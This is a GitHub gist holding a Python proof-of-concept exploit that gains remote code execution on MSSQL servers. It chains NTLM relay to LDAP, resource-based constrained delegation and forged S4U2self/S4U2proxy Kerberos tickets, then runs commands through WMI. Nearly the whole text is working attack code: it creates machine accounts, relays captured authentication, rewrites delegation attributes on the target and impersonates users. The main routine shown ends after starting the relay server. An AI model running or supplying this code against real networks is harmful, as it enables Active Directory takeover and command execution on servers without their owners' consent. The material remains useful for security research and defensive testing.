-
-
Save slayerlab/4a1d02adfa9f47630dd97f9aba3ada46 to your computer and use it in GitHub Desktop.
PoC MSSQL RCE exploit using Resource-Based Constrained Delegation
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# for more info: https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html | |
# this is a rough PoC | |
# requirements for RCE: | |
# - the attacker needs to either have or create an object with a service principal name | |
# - the MSSQL server has to be running under the context of System/Network Service/a virtual account | |
# - the MSSQL server has the WebClient service installed and running (not default on Windows Server hosts) | |
# - NTLM has to be in use | |
# notes on this PoC: | |
# - LDAPS relaying has not been implemented | |
# - a command line switch for doing the initial connection for LDAP has also not yet been implemented | |
# - mssql has to be listening on a TCP port | |
# - you need to either add a dotless ADIDNS record for your relay host, or run Responder or similar tool | |
# - if the account you've got doesn't have an SPN, it needs to have the ability to add machine accounts (by default, domain users can join up to 10; | |
# the attribute to check is ms-DS-MachineAccountQuota, but some users have delegated rights over computer objects and such, so it really depends | |
# on which account you're using, and the quickest check is to just try) | |
# - it's just a PoC | |
# - it probably has bugs | |
# - it might fry everything and wasn't written for production use | |
# - the author is not liable for how others use this code | |
import os | |
import sys | |
import string | |
import SimpleHTTPServer | |
import SocketServer | |
import base64 | |
import random | |
import struct | |
import ConfigParser | |
import string | |
import argparse | |
import datetime | |
from time import sleep | |
from argparse import * | |
from threading import Thread | |
from pyasn1.codec.der import decoder, encoder | |
from pyasn1.type.univ import noValue | |
from impacket import tds | |
from impacket.ldap import ldaptypes | |
from impacket.spnego import SPNEGO_NegTokenResp | |
from impacket.smbserver import outputToJohnFormat, writeJohnOutputToFile | |
from impacket.nt_errors import STATUS_ACCESS_DENIED, STATUS_SUCCESS | |
from impacket.ntlm import NTLMAuthChallenge, NTLMAuthNegotiate, NTLMAuthChallengeResponse | |
from impacket.krb5 import constants | |
from impacket.krb5.ccache import CCache | |
from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5 | |
from impacket.krb5.types import Principal, KerberosTime, Ticket | |
from impacket.krb5.kerberosv5 import getKerberosTGT, sendReceive | |
from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, PA_FOR_USER_ENC, Ticket as TicketAsn1, EncTGSRepPart | |
from impacket.dcerpc.v5.dcomrt import DCOMConnection | |
from impacket.dcerpc.v5.dcom import wmi | |
from impacket.dcerpc.v5.dtypes import NULL | |
from binascii import hexlify, unhexlify | |
from struct import unpack | |
from ldap3.operation import bind | |
from ldap3 import Server, Connection, ALL, MODIFY_REPLACE, MODIFY_ADD, SUBTREE, NTLM | |
from ldap3.core.results import RESULT_UNWILLING_TO_PERFORM, RESULT_SUCCESS, RESULT_STRONGER_AUTH_REQUIRED | |
# adapted from @agsolino, code: https://github.com/SecureAuthCorp/impacket/blob/master/examples/mssqlclient.py | |
class MSSQLCommand: | |
def __init__(self, target='', port=1433, username='', password='', domain='', windows=True, hashes=None, aesKey=None, kdcHost=None, doKerberos=False): | |
self.target = target | |
self.port = port | |
self.username = username | |
self.password = password | |
self.domain = domain | |
self.windows_auth = windows | |
self.k = doKerberos | |
self.mssql_connection = None | |
self.conn = False | |
self.dc_ip = kdcHost | |
if hashes: | |
self.hashes = '00000000000000000000000000000000:%s' % hashes | |
else: | |
self.hashes = None | |
def run_command(self, command, show_output=False): | |
self.mssql_login() | |
if self.conn == True: | |
print "[*] executing relay trigger" | |
self.mssql_connection.sql_query(command) | |
if show_output == True: | |
self.mssql_connection.printReplies() | |
self.mssql_connection.printRows() | |
print "[+] mssql query complete" | |
else: | |
print "[!] mssql authentication failed" | |
self.mssql_connection.disconnect() | |
def mssql_login(self): | |
self.mssql_connection = tds.MSSQL(self.target, self.port) | |
self.mssql_connection.connect() | |
print "[*] logging in to mssql instance..." | |
try: | |
self.conn = self.mssql_connection.login(None, self.username, self.password, self.domain, self.hashes, self.windows_auth) | |
except Exception, e: | |
print "[!] mssql authentication failed exception: " + str(e) | |
# checks if the provided domain credentials have SPN(s); if not, attempt to create a machine account | |
class SetupAttack: | |
def __init__(self, username='', domain='', password='', nthash = None, machine_username = '', machine_password = '', server_hostname = '', dn='', dc_ip='', use_ssl=False): | |
self.username = username | |
self.domain = domain | |
self.dn = dn | |
self.machine_username = machine_username | |
self.machine_password = machine_password | |
self.encoded_password = None | |
self.server_hostname = server_hostname | |
self.dc_ip = dc_ip | |
self.use_ssl = use_ssl | |
self.ldap_connection = None | |
if nthash: | |
self.password = '00000000000000000000000000000000:%s' % nthash | |
else: | |
self.password = password | |
def get_unicode_password(self): | |
password = self.machine_password | |
self.encoded_password = '"{}"'.format(password).encode('utf-16-le') | |
def ldap_login(self): | |
print "[*] logging in to ldap server" | |
if self.use_ssl == True: | |
s = Server(self.dc_ip, port = 636, use_ssl = True, get_info = ALL) | |
else: | |
s = Server(self.dc_ip, port = 389, get_info = ALL) | |
domain_user = "%s\\%s" % (self.domain, self.username) # we're doing an NTLM login | |
try: | |
self.ldap_connection = Connection(s, user = domain_user, password = self.password, authentication=NTLM) | |
if self.ldap_connection.bind() == True: | |
print "[+] ldap login as %s successful" % domain_user | |
except Exception, e: | |
print "[!] unable to connect: %s" % str(e) | |
sys.exit() | |
# I put standalone code for this here: https://gist.github.com/3xocyte/8ad2d227d0906ea5ee294677508620f5 | |
def create_account(self): | |
if self.machine_username == '': | |
self.machine_username = ''.join(random.choice(string.uppercase + string.digits) for _ in range(8)) | |
if self.machine_username[-1:] != "$": | |
self.machine_username += "$" | |
if self.machine_password == '': | |
self.machine_password = ''.join(random.choice(string.uppercase + string.lowercase + string.digits) for _ in range(25)) | |
self.get_unicode_password() | |
dn = "CN=%s,CN=Computers,%s" % (self.machine_username[:-1], self.dn) | |
dns_name = self.machine_username[:-1] + '.' + self.domain | |
self.ldap_connection.add(dn, attributes={ | |
'objectClass':'Computer', | |
'SamAccountName': self.machine_username, | |
'userAccountControl': '4096', | |
'DnsHostName': dns_name, | |
'ServicePrincipalName': [ | |
'HOST/' + dns_name, | |
'RestrictedKrbHost/' + dns_name, | |
'HOST/' + self.machine_username[:-1], | |
'RestrictedKrbHost/' + self.machine_username[:-1] | |
], | |
'unicodePwd':self.encoded_password | |
}) | |
print "[+] added machine account %s with password %s" % (self.machine_username, self.machine_password) | |
def check_spn(self): | |
search_filter = '(samaccountname=%s)' % self.username | |
self.ldap_connection.search(search_base = self.dn, search_filter=search_filter, search_scope=SUBTREE, attributes=['servicePrincipalName']) | |
if self.ldap_connection.entries[0]['servicePrincipalName']: | |
return True | |
else: | |
return False | |
def execute(self): | |
self.ldap_login() | |
if self.check_spn(): | |
print "[+] provided account has an SPN" | |
self.machine_username = self.username | |
self.machine_password = self.password | |
else: | |
self.create_account() | |
if self.server_hostname == '': | |
self.server_hostname = ''.join(random.choice(string.uppercase + string.digits) for _ in range(8)) | |
# was going to add an ADIDNS A record but this script is already a bit long for a PoC | |
self.ldap_connection.unbind() | |
return self.machine_username, self.machine_password, self.server_hostname | |
class LDAPRelayClientException(Exception): | |
pass | |
# adapted from @_dirkjan and @agsolino, code: https://github.com/SecureAuthCorp/impacket/blob/master/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py | |
class LDAPRelayClient: | |
def __init__(self, extendedSecurity=True, dc_ip='', target='', domain='', target_hostname='', username='', dn=''): | |
self.extendedSecurity = extendedSecurity | |
self.negotiateMessage = None | |
self.authenticateMessageBlob = None | |
self.server = None | |
self.targetPort = 389 | |
self.dc_ip = dc_ip | |
self.domain = domain | |
self.target = target | |
self.target_hostname = target_hostname | |
self.username = username | |
self.dn = dn | |
# rbcd attack stuff | |
def get_sid(self, ldap_connection, domain, target): | |
search_filter = "(sAMAccountName=%s)" % target | |
try: | |
ldap_connection.search(self.dn, search_filter, attributes = ['objectSid']) | |
target_sid_readable = ldap_connection.entries[0].objectSid | |
target_sid = ''.join(ldap_connection.entries[0].objectSid.raw_values) | |
except Exception, e: | |
print "[!] unable to to get SID of target: %s" % str(e) | |
return target_sid | |
def add_attribute(self, ldap_connection, user_sid): | |
# "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;<sid>" | |
security_descriptor = ( | |
"\x01\x00\x04\x80\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" | |
"\x24\x00\x00\x00\x01\x02\x00\x00\x00\x00\x00\x05\x20\x00\x00\x00" | |
"\x20\x02\x00\x00\x02\x00\x2C\x00\x01\x00\x00\x00\x00\x00\x24\x00" | |
"\xFF\x01\x0F\x00" | |
) | |
# build payload | |
payload = security_descriptor + user_sid | |
# build LDAP query | |
if self.target_hostname.endswith("$"): # assume computer account | |
dn_base = "CN=%s,CN=Computers," % self.target_hostname[:-1] | |
else: | |
dn_base = "CN=%s,CN=Users," % self.target_hostname | |
dn = dn_base + self.dn | |
print "[*] adding attribute to object %s..." % self.target_hostname | |
try: | |
if ldap_connection.modify(dn, {'msds-allowedtoactonbehalfofotheridentity':(MODIFY_REPLACE, payload)}): | |
print "[+] added msDS-AllowedToActOnBehalfOfOtherIdentity to object %s for object %s" % (self.target_hostname, self.username) | |
else: | |
print "[!] unable to modify attribute" | |
except Exception, e: | |
print "[!] unable to assign attribute: %s" % str(e) | |
def killConnection(self): | |
if self.session is not None: | |
self.session.socket.close() | |
self.session = None | |
def initConnection(self): | |
print "[*] initiating connection to ldap://%s:%s" % (self.dc_ip, self.targetPort) | |
self.server = Server("ldap://%s:%s" % (self.dc_ip, self.targetPort), get_info=ALL) | |
self.session = Connection(self.server, user="a", password="b", authentication=NTLM) | |
self.session.open(False) | |
return True | |
def sendNegotiate(self, negotiateMessage): | |
negoMessage = NTLMAuthNegotiate() | |
negoMessage.fromString(negotiateMessage) | |
self.negotiateMessage = str(negoMessage) | |
with self.session.connection_lock: | |
if not self.session.sasl_in_progress: | |
self.session.sasl_in_progress = True | |
request = bind.bind_operation(self.session.version, 'SICILY_PACKAGE_DISCOVERY') | |
response = self.session.post_send_single_response(self.session.send('bindRequest', request, None)) | |
result = response[0] | |
try: | |
sicily_packages = result['server_creds'].decode('ascii').split(';') | |
except KeyError: | |
raise LDAPRelayClientException('[!] failed to discover authentication methods, server replied: %s' % result) | |
if 'NTLM' in sicily_packages: # NTLM available on server | |
request = bind.bind_operation(self.session.version, 'SICILY_NEGOTIATE_NTLM', self) | |
response = self.session.post_send_single_response(self.session.send('bindRequest', request, None)) | |
result = response[0] | |
if result['result'] == RESULT_SUCCESS: | |
challenge = NTLMAuthChallenge() | |
challenge.fromString(result['server_creds']) | |
return challenge | |
else: | |
raise LDAPRelayClientException('[!] server did not offer ntlm authentication') | |
#This is a fake function for ldap3 which wants an NTLM client with specific methods | |
def create_negotiate_message(self): | |
return self.negotiateMessage | |
def sendAuth(self, authenticateMessageBlob, serverChallenge=None): | |
if unpack('B', str(authenticateMessageBlob)[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: | |
respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) | |
token = respToken2['ResponseToken'] | |
print "unpacked response token: " + str(token) | |
else: | |
token = authenticateMessageBlob | |
with self.session.connection_lock: | |
self.authenticateMessageBlob = token | |
request = bind.bind_operation(self.session.version, 'SICILY_RESPONSE_NTLM', self, None) | |
response = self.session.post_send_single_response(self.session.send('bindRequest', request, None)) | |
result = response[0] | |
self.session.sasl_in_progress = False | |
if result['result'] == RESULT_SUCCESS: | |
self.session.bound = True | |
self.session.refresh_server_info() | |
print "[+] relay complete" | |
print "[*] running RBCD attack..." | |
user_sid = self.get_sid(self.session, self.domain, self.username) | |
self.add_attribute(self.session, user_sid) | |
return True, STATUS_SUCCESS | |
else: | |
print "result is failed" | |
if result['result'] == RESULT_STRONGER_AUTH_REQUIRED: | |
raise LDAPRelayClientException('[!] ldap signing is enabled') | |
return None, STATUS_ACCESS_DENIED | |
#This is a fake function for ldap3 which wants an NTLM client with specific methods | |
def create_authenticate_message(self): | |
return self.authenticateMessageBlob | |
#Placeholder function for ldap3 | |
def parse_challenge_message(self, message): | |
pass | |
# todo | |
class LDAPSRelayClient(LDAPRelayClient): | |
PLUGIN_NAME = "LDAPS" | |
MODIFY_ADD = MODIFY_ADD | |
def __init__(self, serverConfig, target, targetPort = 636, extendedSecurity=True ): | |
LDAPRelayClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) | |
def initConnection(self): | |
self.server = Server("ldaps://%s:%s" % (self.targetHost, self.targetPort), get_info=ALL) | |
self.session = Connection(self.server, user="a", password="b", authentication=NTLM) | |
self.session.open(False) | |
return True | |
# adapted from @_dirkjan and @agsolino, code: https://github.com/SecureAuthCorp/impacket/blob/master/impacket/examples/ntlmrelayx/servers/httprelayserver.py | |
class HTTPRelayServer(Thread): | |
class HTTPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer): | |
def __init__(self, server_address, RequestHandlerClass): | |
SocketServer.TCPServer.__init__(self,server_address, RequestHandlerClass) | |
class HTTPHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): | |
_dc_ip = '' | |
_domain = '' | |
_target = '' | |
_target_hostname = '' | |
_username = '' | |
_dn = '' | |
def __init__(self, request, client_address, server): | |
self.protocol_version = 'HTTP/1.1' | |
self.challengeMessage = None | |
self.client = None | |
self.machineAccount = None | |
self.machineHashes = None | |
self.domainIp = None | |
self.authUser = None | |
print "[*] got connection from %s" % (client_address[0]) | |
SimpleHTTPServer.SimpleHTTPRequestHandler.__init__(self,request, client_address, server) | |
def handle_one_request(self): | |
SimpleHTTPServer.SimpleHTTPRequestHandler.handle_one_request(self) | |
def log_message(self, format, *args): | |
return | |
def do_REDIRECT(self): | |
rstr = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(10)) | |
self.send_response(302) | |
self.send_header('WWW-Authenticate', 'NTLM') | |
self.send_header('Content-type', 'text/html') | |
self.send_header('Connection','close') | |
self.send_header('Location','/%s' % rstr) | |
self.send_header('Content-Length','0') | |
self.end_headers() | |
def do_OPTIONS(self): | |
messageType = 0 | |
if self.headers.getheader('Authorization') is None: | |
self.do_AUTHHEAD(message = 'NTLM') | |
pass | |
else: | |
typeX = self.headers.getheader('Authorization') | |
try: | |
_, blob = typeX.split('NTLM') | |
token = base64.b64decode(blob.strip()) | |
except: | |
self.do_AUTHHEAD() | |
messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0] | |
if messageType == 1: | |
if not self.do_ntlm_negotiate(token): | |
self.do_REDIRECT() | |
elif messageType == 3: | |
authenticateMessage = NTLMAuthChallengeResponse() | |
authenticateMessage.fromString(token) | |
print "[+] relaying account %s\\%s" % (authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le')) | |
if not self.do_ntlm_auth(token, authenticateMessage): | |
if authenticateMessage['user_name'] != '': | |
self.do_REDIRECT() | |
else: | |
#If it was an anonymous login, send 401 | |
self.do_AUTHHEAD('NTLM') | |
else: | |
self.send_response(404) | |
self.send_header('WWW-Authenticate', 'NTLM') | |
self.send_header('Content-type', 'text/html') | |
self.send_header('Content-Length','0') | |
self.send_header('Connection','close') | |
self.end_headers() | |
return | |
def do_AUTHHEAD(self, message = ''): | |
self.send_response(401) | |
self.send_header('WWW-Authenticate', message) | |
self.send_header('Content-type', 'text/html') | |
self.send_header('Content-Length','0') | |
self.end_headers() | |
# relay | |
def do_ntlm_negotiate(self,token): | |
try: | |
self.client = LDAPRelayClient(dc_ip=self._dc_ip, target=self._target, domain=self._domain, target_hostname=self._target_hostname, username=self._username, dn=self._dn) | |
self.client.initConnection() | |
clientChallengeMessage = self.client.sendNegotiate(token) | |
except Exception, e: | |
print "[*] connection to ldap server %s failed" % self._dc_ip | |
print str(e) | |
return False | |
self.do_AUTHHEAD(message = 'NTLM '+base64.b64encode(clientChallengeMessage.getData())) | |
return True | |
def do_ntlm_auth(self,token,authenticateMessage): | |
client_session, errorCode = self.client.sendAuth(token) | |
if errorCode == STATUS_SUCCESS: | |
return client_session | |
else: | |
return False | |
def __init__(self, domain='', dc_ip='', username='', target='', target_hostname='', dn='', port=80): | |
Thread.__init__(self) | |
self.daemon = True | |
self.domain = domain | |
self.dc_ip = dc_ip | |
self.username = username | |
self.target = target | |
self.target_hostname = target_hostname | |
self.dn = dn | |
self.port = int(port) | |
def run(self): | |
httpd = self.HTTPServer(("", self.port), self.HTTPHandler) | |
self.HTTPHandler._dc_ip = self.dc_ip | |
self.HTTPHandler._domain = self.domain | |
self.HTTPHandler._username = self.username | |
self.HTTPHandler._target = self.target | |
self.HTTPHandler._target_hostname = self.target_hostname | |
self.HTTPHandler._dn = self.dn | |
thread = Thread(target=httpd.serve_forever) | |
thread.daemon = True | |
thread.start() | |
# by @agsolino and @elad_shamir see: https://github.com/SecureAuthCorp/impacket/pull/560 | |
class GETST: | |
def __init__(self, target, password, domain, options): | |
self.__password = password | |
self.__user= target | |
self.__domain = domain | |
self.__aesKey = options.aesKey | |
self.__options = options | |
self.__kdcHost = options.dc_ip | |
self.__saveFileName = None | |
self.__lmhash = '' | |
self.__nthash = '' | |
if options.hashes is not None: | |
self.__lmhash = '00000000000000000000000000000000' | |
self.__nthash = options.hashes | |
def saveTicket(self, ticket, sessionKey): | |
print '[*] saving ticket: %s' % (self.__saveFileName + '.ccache') | |
ccache = CCache() | |
ccache.fromTGS(ticket, sessionKey, sessionKey) | |
ccache.saveFile(self.__saveFileName + '.ccache') | |
def doS4U(self, tgt, cipher, oldSessionKey, sessionKey): | |
decodedTGT = decoder.decode(tgt, asn1Spec = AS_REP())[0] | |
# Extract the ticket from the TGT | |
ticket = Ticket() | |
ticket.from_asn1(decodedTGT['ticket']) | |
apReq = AP_REQ() | |
apReq['pvno'] = 5 | |
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) | |
opts = list() | |
apReq['ap-options'] = constants.encodeFlags(opts) | |
seq_set(apReq,'ticket', ticket.to_asn1) | |
authenticator = Authenticator() | |
authenticator['authenticator-vno'] = 5 | |
authenticator['crealm'] = str(decodedTGT['crealm']) | |
clientName = Principal() | |
clientName.from_asn1( decodedTGT, 'crealm', 'cname') | |
seq_set(authenticator, 'cname', clientName.components_to_asn1) | |
now = datetime.datetime.utcnow() | |
authenticator['cusec'] = now.microsecond | |
authenticator['ctime'] = KerberosTime.to_asn1(now) | |
encodedAuthenticator = encoder.encode(authenticator) | |
# Key Usage 7 | |
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes | |
# TGS authenticator subkey), encrypted with the TGS session | |
# key (Section 5.5.1) | |
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) | |
apReq['authenticator'] = noValue | |
apReq['authenticator']['etype'] = cipher.enctype | |
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator | |
encodedApReq = encoder.encode(apReq) | |
tgsReq = TGS_REQ() | |
tgsReq['pvno'] = 5 | |
tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) | |
tgsReq['padata'] = noValue | |
tgsReq['padata'][0] = noValue | |
tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) | |
tgsReq['padata'][0]['padata-value'] = encodedApReq | |
# In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service | |
# requests a service ticket to itself on behalf of a user. The user is | |
# identified to the KDC by the user's name and realm. | |
clientName = Principal(self.__options.impersonate, type=constants.PrincipalNameType.NT_PRINCIPAL.value) | |
S4UByteArray = struct.pack('<I',constants.PrincipalNameType.NT_PRINCIPAL.value) | |
S4UByteArray += self.__options.impersonate + self.__domain + 'Kerberos' | |
# Finally cksum is computed by calling the KERB_CHECKSUM_HMAC_MD5 hash | |
# with the following three parameters: the session key of the TGT of | |
# the service performing the S4U2Self request, the message type value | |
# of 17, and the byte array S4UByteArray. | |
checkSum = _HMACMD5.checksum(sessionKey, 17, S4UByteArray) | |
paForUserEnc = PA_FOR_USER_ENC() | |
seq_set(paForUserEnc, 'userName', clientName.components_to_asn1) | |
paForUserEnc['userRealm'] = self.__domain | |
paForUserEnc['cksum'] = noValue | |
paForUserEnc['cksum']['cksumtype'] = int(constants.ChecksumTypes.hmac_md5.value) | |
paForUserEnc['cksum']['checksum'] = checkSum | |
paForUserEnc['auth-package'] = 'Kerberos' | |
encodedPaForUserEnc = encoder.encode(paForUserEnc) | |
tgsReq['padata'][1] = noValue | |
tgsReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_FOR_USER.value) | |
tgsReq['padata'][1]['padata-value'] = encodedPaForUserEnc | |
reqBody = seq_set(tgsReq, 'req-body') | |
opts = list() | |
opts.append( constants.KDCOptions.forwardable.value ) | |
opts.append( constants.KDCOptions.renewable.value ) | |
opts.append( constants.KDCOptions.canonicalize.value ) | |
reqBody['kdc-options'] = constants.encodeFlags(opts) | |
serverName = Principal(self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value) | |
seq_set(reqBody, 'sname', serverName.components_to_asn1) | |
reqBody['realm'] = str(decodedTGT['crealm']) | |
now = datetime.datetime.utcnow() + datetime.timedelta(days=1) | |
reqBody['till'] = KerberosTime.to_asn1(now) | |
reqBody['nonce'] = random.getrandbits(31) | |
seq_set_iter(reqBody, 'etype', | |
(int(cipher.enctype),int(constants.EncryptionTypes.rc4_hmac.value))) | |
print '[*] requesting s4U2self' | |
message = encoder.encode(tgsReq) | |
r = sendReceive(message, self.__domain, None) | |
tgs = decoder.decode(r, asn1Spec = TGS_REP())[0] | |
################################################################################ | |
# Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy | |
# So here I have a ST for me.. I now want a ST for another service | |
# Extract the ticket from the TGT | |
ticketTGT = Ticket() | |
ticketTGT.from_asn1(decodedTGT['ticket']) | |
ticket = Ticket() | |
ticket.from_asn1(tgs['ticket']) | |
apReq = AP_REQ() | |
apReq['pvno'] = 5 | |
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) | |
opts = list() | |
apReq['ap-options'] = constants.encodeFlags(opts) | |
seq_set(apReq,'ticket', ticketTGT.to_asn1) | |
authenticator = Authenticator() | |
authenticator['authenticator-vno'] = 5 | |
authenticator['crealm'] = str(decodedTGT['crealm']) | |
clientName = Principal() | |
clientName.from_asn1( decodedTGT, 'crealm', 'cname') | |
seq_set(authenticator, 'cname', clientName.components_to_asn1) | |
now = datetime.datetime.utcnow() | |
authenticator['cusec'] = now.microsecond | |
authenticator['ctime'] = KerberosTime.to_asn1(now) | |
encodedAuthenticator = encoder.encode(authenticator) | |
# Key Usage 7 | |
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes | |
# TGS authenticator subkey), encrypted with the TGS session | |
# key (Section 5.5.1) | |
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) | |
apReq['authenticator'] = noValue | |
apReq['authenticator']['etype'] = cipher.enctype | |
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator | |
encodedApReq = encoder.encode(apReq) | |
tgsReq = TGS_REQ() | |
tgsReq['pvno'] = 5 | |
tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) | |
tgsReq['padata'] = noValue | |
tgsReq['padata'][0] = noValue | |
tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) | |
tgsReq['padata'][0]['padata-value'] = encodedApReq | |
# Add resource-based constrained delegation support | |
tgsReq['padata'][1] = noValue | |
tgsReq['padata'][1]['padata-type'] = 167 | |
tgsReq['padata'][1]['padata-value'] = "3009a00703050010000000".decode("hex") | |
reqBody = seq_set(tgsReq, 'req-body') | |
opts = list() | |
# This specified we're doing S4U | |
opts.append(constants.KDCOptions.cname_in_addl_tkt.value) | |
opts.append(constants.KDCOptions.canonicalize.value) | |
opts.append(constants.KDCOptions.forwardable.value) | |
opts.append(constants.KDCOptions.renewable.value) | |
reqBody['kdc-options'] = constants.encodeFlags(opts) | |
service2 = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value) | |
seq_set(reqBody, 'sname', service2.components_to_asn1) | |
reqBody['realm'] = self.__domain | |
myTicket = ticket.to_asn1(TicketAsn1()) | |
seq_set_iter(reqBody, 'additional-tickets', (myTicket,)) | |
now = datetime.datetime.utcnow() + datetime.timedelta(days=1) | |
reqBody['till'] = KerberosTime.to_asn1(now) | |
reqBody['nonce'] = random.getrandbits(31) | |
seq_set_iter(reqBody, 'etype', | |
( | |
int(constants.EncryptionTypes.rc4_hmac.value), | |
int(constants.EncryptionTypes.des3_cbc_sha1_kd.value), | |
int(constants.EncryptionTypes.des_cbc_md5.value), | |
int(cipher.enctype) | |
) | |
) | |
message = encoder.encode(tgsReq) | |
print '[+] s4u2self complete' | |
print '[*] requesting s4U2proxy' | |
r = sendReceive(message, self.__domain, None) | |
tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] | |
cipherText = tgs['enc-part']['cipher'] | |
# Key Usage 8 | |
# TGS-REP encrypted part (includes application session | |
# key), encrypted with the TGS session key (Section 5.4.2) | |
plainText = cipher.decrypt(sessionKey, 8, str(cipherText)) | |
encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] | |
newSessionKey = Key(encTGSRepPart['key']['keytype'], str(encTGSRepPart['key']['keyvalue'])) | |
# Creating new cipher based on received keytype | |
cipher = _enctype_table[encTGSRepPart['key']['keytype']] | |
print '[+] s4U2proxy complete' | |
return r, cipher, sessionKey, newSessionKey | |
def run(self): | |
userName = Principal(self.__user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) | |
print '[*] getting tgt for %s' % userName | |
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, | |
unhexlify(self.__lmhash), unhexlify(self.__nthash), | |
self.__aesKey, | |
self.__kdcHost) | |
print '[*] impersonating %s' % self.__options.impersonate | |
tgs, copher, oldSessionKey, sessionKey = self.doS4U(tgt, cipher, oldSessionKey, sessionKey) | |
self.__saveFileName = 'evil' | |
self.saveTicket(tgs,oldSessionKey) | |
# adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py | |
def wmi_exec(target, dc_ip, command): | |
dcom = DCOMConnection(target, oxidResolver=True, doKerberos=True, kdcHost=dc_ip) | |
try: | |
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) | |
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) | |
iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) | |
iWbemLevel1Login.RemRelease() | |
win32Process,_ = iWbemServices.GetObject('Win32_Process') | |
win32Process.Create(command, unicode('C:\\'), None) | |
dcom.disconnect() | |
except Exception, e: | |
print "[!] exception raised: %s" % str(e) | |
sys.exit() | |
if __name__ == '__main__': | |
parser = ArgumentParser(add_help = True, description = "MSSQL RCE PoC (@3xocyte and @elad_shamir)") | |
parser.add_argument('-d', '--domain', action="store", default='', help='valid fully-qualified domain name', required=True) | |
parser.add_argument('-u', '--username', action="store", default='', help='valid domain username', required=True) | |
password_or_ntlm = parser.add_mutually_exclusive_group(required=True) | |
password_or_ntlm.add_argument('-p', '--password', action="store", default='', help='valid password') | |
password_or_ntlm.add_argument('-n', '--nthash', action="store", default='', help='valid ntlm hash') | |
parser.add_argument('--mssql-port', action="store", default=1433, help='mssql server port') | |
parser.add_argument('--mssql-user', action="store", default='', help='mssql server username (if different from domain account)') | |
parser.add_argument('--mssql-pass', action="store", default='', help='mssql server password (if different from domain account)') | |
parser.add_argument('--machine-user', action="store", default='', help="machine account name (if provided domain account has no SPN and a machine account will be created)") | |
parser.add_argument('--machine-pass', action="store", default='', help="machine account password (if provided domain account has no SPN and a machine account will be created)") | |
parser.add_argument('--server-hostname', action="store", default='', help="hostname to use for the relaying server (ie, this machine); this should adhere to 'The Dot rule' to elicit NTLM authentication") | |
parser.add_argument('--server-port', action="store", default=80, help="port to use for the relaying server (ie, this machine)") | |
parser.add_argument('dc', help='ip address or hostname of dc') | |
parser.add_argument('target_hostname', help='target mssql server samaccountname') | |
parser.add_argument('target', help='target mssql server fqdn') | |
parser.add_argument('command', help='command to execute over WMI') | |
options = parser.parse_args() | |
print """ | |
_| _| _| | |
_|_|_| _|_|_| _|_|_| _|_|_| _|_| _|_|_| _| _| _|_| _| | |
_| _| _| _| _| _| _|_| _|_|_|_| _| _| _| _| _|_|_|_| _| | |
_| _| _| _| _| _| _|_| _| _| _| _| _| _| _| | |
_|_|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| _| | |
_| | |
_| | |
""" | |
print "mssql authenticated remote code execution exploit (@3xocyte and @elad_shamir) #shenanigans #wontfix\n" | |
# get dn | |
dn = '' | |
domain_parts = options.domain.split('.') | |
for i in domain_parts: | |
dn += 'DC=%s,' % i | |
dn = dn[:-1] | |
if '.' in options.server_hostname: | |
print '[!] server hostname contains periods and the NTLM relay may fail' | |
attack_setup = SetupAttack(username=options.username, domain=options.domain, password=options.password, nthash=options.nthash, dn=dn, | |
machine_username=options.machine_user, machine_password=options.machine_pass, server_hostname=options.server_hostname, dc_ip=options.dc, use_ssl=True) | |
spn_username, spn_password, server_hostname = attack_setup.execute() | |
print "[*] starting relay server on port %s" % options.server_port | |
s = HTTPRelayServer(domain = options.domain, dc_ip=options.dc, username=spn_username, target=options.target, target_hostname=options.target_hostname, dn=dn, port = options.server_port) | |
s.run() | |
sleep(2) | |
